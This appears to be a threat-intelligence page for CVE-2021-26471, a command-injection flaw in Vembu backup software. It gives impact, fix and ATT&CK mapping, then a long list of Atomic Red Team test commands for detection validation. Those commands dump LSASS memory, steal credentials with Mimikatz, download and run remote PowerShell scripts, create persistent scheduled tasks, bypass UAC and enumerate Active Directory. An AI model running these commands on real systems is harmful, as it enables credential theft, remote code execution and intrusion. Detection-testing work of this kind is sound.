CVE-2021-26471

CRITICAL Pub 08/06 Upd 16/09

Overview

This vulnerability is a command injection flaw rooted in improper input validation of the 'command' argument within the HTTP API endpoint /sgwebservice_o.php. The affected components are VembuBDR and VembuOffsiteDR software versions prior to 4.2.0.1. The API accepts user-supplied input without sanitization, enabling execution of arbitrary shell commands on the underlying system.

Vulnerability Description

In VembuBDR before 4.2.0.1 and VembuOffsiteDR before 4.2.0.1, the http API located at /sgwebservice_o.php accepts a command argument. Using this command argument an unauthenticated attacker can execute arbitrary shell commands.

Impact

An unauthenticated remote attacker can execute arbitrary shell commands on the affected server, potentially leading to full system compromise including data theft, service disruption, and lateral movement within the network. No user interaction or credentials are required due to the API's lack of authentication controls (AV:N/AC:L/PR:N/UI:N). This enables attackers to gain high-impact control over confidentiality, integrity, and availability of the affected systems.

Solution

Upgrade VembuBDR and VembuOffsiteDR to version 4.2.0.1 or later, as detailed in the vendor's official advisory available at https://csirt.divd.nl/2021/05/11/Vembu-zero-days/. The vendor patch addresses the input validation flaw in /sgwebservice_o.php. No alternative workarounds are specified; immediate application of the vendor-supplied update is recommended to mitigate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in VembuBDR and VembuOffsiteDR arises from an insecure implementation of the HTTP API, specifically the endpoint located at /sgwebservice_o.php. This API endpoint accepts a command argument that allows for the execution of arbitrary shell commands. The lack of proper authentication and input validation means that an unauthenticated attacker can exploit this weakness to execute any command on the underlying operating system. This could lead to severe consequences, including unauthorized access to sensitive data, disruption of services, and complete system compromise.

Attack vectors for this vulnerability are straightforward due to the unauthenticated nature of the API. An attacker can craft a malicious HTTP request to the vulnerable endpoint, injecting shell commands through the command argument. This could be done using common tools such as curl or Postman, making it accessible even to those with minimal technical expertise. Once the command is executed, the attacker could manipulate the system in various ways, such as creating new user accounts, modifying existing files, or even deploying malware. The ease of exploitation poses a significant risk, as it allows attackers to gain control over the affected systems without needing sophisticated techniques or insider knowledge.

The real-world impact of this vulnerability can be profound, especially for organizations relying on Vembu's backup and disaster recovery solutions. Successful exploitation could lead to data breaches, loss of critical business data, and operational downtime. The potential for data exfiltration or ransomware deployment could also result in significant financial losses and reputational damage. Furthermore, organizations may face legal ramifications if sensitive customer data is compromised, leading to regulatory fines and loss of customer trust. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it should be prioritized for remediation.

To detect and mitigate this vulnerability, organizations should implement several strategies. First, they should conduct a thorough assessment of their systems to identify any instances of the affected products and ensure they are updated to the latest versions, as the vendor has released patches addressing this vulnerability. Additionally, organizations should employ network security measures such as firewalls and intrusion detection systems to monitor for unusual traffic patterns that may indicate exploitation attempts. Implementing strict access controls and authentication mechanisms for API endpoints can also help mitigate the risk of unauthorized access. Regular security audits and penetration testing should be part of an ongoing security strategy to identify and address vulnerabilities proactively.

In conclusion, the vulnerability present in VembuBDR and VembuOffsiteDR represents a significant threat due to its ease of exploitation and potential for severe consequences. Organizations must take immediate action to assess their exposure, apply necessary patches, and enhance their security posture to protect against such vulnerabilities. By adopting a proactive approach to security, businesses can reduce their risk and safeguard their critical data and systems from malicious actors.

Affected Products (2)

Vendor Product Version CPE
vembu Vembu Bdr Suite All cpe:2.3:a:vembu:bdr_suite:*:*:*:*:*:*:*:*
vembu Vembu Offsite Dr All cpe:2.3:a:vembu:offsite_dr:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
32% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD) 
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell) 
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD) 
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell) 
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD) 
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell) 
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell) 
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD) 
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD) 
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell) 
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD) 
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD) 
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell) 
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD) 
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell) 
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell) 
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell) 
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD) 
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD) 
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD) 
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD) 
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD) 
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD) 
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell) 
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell) 
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD) 
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD) 
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell) 
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell) 
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD) 
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell) 
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell) 
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell) 
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell) 
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell) 
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell) 
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell) 
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
